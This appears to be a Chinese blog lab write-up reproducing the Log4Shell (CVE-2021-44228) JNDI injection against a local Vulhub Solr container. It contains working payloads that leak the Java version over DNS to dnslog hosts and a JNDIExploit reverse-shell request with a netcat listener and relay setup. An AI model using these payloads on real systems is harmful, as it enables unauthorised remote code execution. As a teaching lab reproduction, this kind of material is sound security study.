log4j-CVE-2021-44228-vulhub复现

简介: log4j-CVE-2021-44228-vulhub复现

01漏洞描述


Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考地址:


https://github.com/vulhub/vulhub


本次漏洞复现也是基于Vulhub


微信图片_20230517200135.gif

02漏洞环境搭建


docker-compose up -d --build



访问http://127.0.0.1:8983/solr/#/




微信图片_20230517200135.gif

03Dnslog测试


在DNSlog平台请求一个dns域名:3j7r1s.dnslog.cn


构造:

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:


http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3a5h27.dnslog.cn}

直接访问:


http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3j7r1s.dnslog.cn}



此时直接得到版本信息:1.8.0



或者是请求:


http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://cd9097fd.dns.1433.eu.org}



04反弹shell


反弹shell需要使用JNDIExploit.v1.2,可以从下面百度云直接下载:

详细的信息可以参考上一篇文章


https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5


网络拓扑:

攻击机:10.211.55.23  

靶机:10.211.55.2

中转机:10.211.55.3

中转机java版本:1.8.0_172


首先在中转机上使用JNDIExploit-1.2-SNAPSHOT.jar文件使用java启动,命令如下:


java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.211.55.3

 其中:10.211.55.3为中转机的ip地址



然后在攻击机上开启监听:nc -lvvp 6666


此时构造如下命令:


http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.23/6666}

其中:

  • http://127.0.0.1:8983为靶机的地址
  • 10.211.55.3为中转机地址
  • 10.211.55.23为Kali攻击机ip地址,此时要反弹shell

更多用法可以参考:


https://github.com/zzwlpx/JNDIExploit


直接执行之后,shell就弹回来了



此时在中转机器上:



成功!


清除环境:docker-compose down




05 注 意 事 项


中转机的java版本:1.8.0_172


相关文章
|
安全 Java
Log4J漏洞本地快速复现
Log4J漏洞本地快速复现
281 0
|
安全 Java Apache
Log4j2高危漏洞复现流程
Log4j2高危漏洞复现流程
323 0
Log4j2高危漏洞复现流程
|
23天前
|
Java
日志框架log4j打印异常堆栈信息携带traceId,方便接口异常排查
日常项目运行日志,异常栈打印是不带traceId,导致排查问题查找异常栈很麻烦。
|
2月前
|
XML Java Maven
log4j 日志的简单使用
这篇文章介绍了Log4j日志框架的基本使用方法,包括在Maven项目中添加依赖、配置`log4j.properties`文件以及在代码中创建和使用Logger对象进行日志记录,但实际打印结果中日志级别没有颜色显示。
log4j 日志的简单使用
|
2月前
|
XML Java Maven
Spring5入门到实战------16、Spring5新功能 --整合日志框架(Log4j2)
这篇文章是Spring5框架的入门到实战教程,介绍了Spring5的新功能——整合日志框架Log4j2,包括Spring5对日志框架的通用封装、如何在项目中引入Log4j2、编写Log4j2的XML配置文件,并通过测试类展示了如何使用Log4j2进行日志记录。
Spring5入门到实战------16、Spring5新功能 --整合日志框架(Log4j2)
|
2月前
|
存储 消息中间件 监控
Java日志详解:日志级别,优先级、配置文件、常见日志管理系统ELK、日志收集分析
Java日志详解:日志级别,优先级、配置文件、常见日志管理系统、日志收集分析。日志级别从小到大的关系(优先级从低到高): ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF 低级别的会输出高级别的信息,高级别的不会输出低级别的信息
|
2月前
|
存储 运维 Java
SpringBoot使用log4j2将日志记录到文件及自定义数据库
通过上述步骤,你可以在Spring Boot应用中利用Log4j2将日志输出到文件和数据库中。这不仅促进了良好的日志管理实践,也为应用的监控和故障排查提供了强大的工具。强调一点,配置文件和代码的具体实现可能需要根据应用的实际需求和运行环境进行调优和修改,始终记住测试配置以确保一切运行正常。
351 0
|
3月前
|
Java 测试技术 Apache
《手把手教你》系列基础篇(八十六)-java+ selenium自动化测试-框架设计基础-Log4j实现日志输出(详解教程)
【7月更文挑战第4天】Apache Log4j 是一个广泛使用的 Java 日志框架,它允许开发者控制日志信息的输出目的地、格式和级别。Log4j 包含三个主要组件:Loggers(记录器)负责生成日志信息,Appenders(输出源)确定日志输出的位置(如控制台、文件、数据库等),而 Layouts(布局)则控制日志信息的格式。通过配置 Log4j,可以灵活地定制日志记录行为。
47 4
|
3月前
|
运维 Java Apache
Java中的日志框架:Log4j与SLF4J详解
Java中的日志框架:Log4j与SLF4J详解
|
3月前
|
存储 Java
浅析JAVA日志中的性能实践与原理解释问题之测试日志内容大小对系统性能的影响问题如何解决
浅析JAVA日志中的性能实践与原理解释问题之测试日志内容大小对系统性能的影响问题如何解决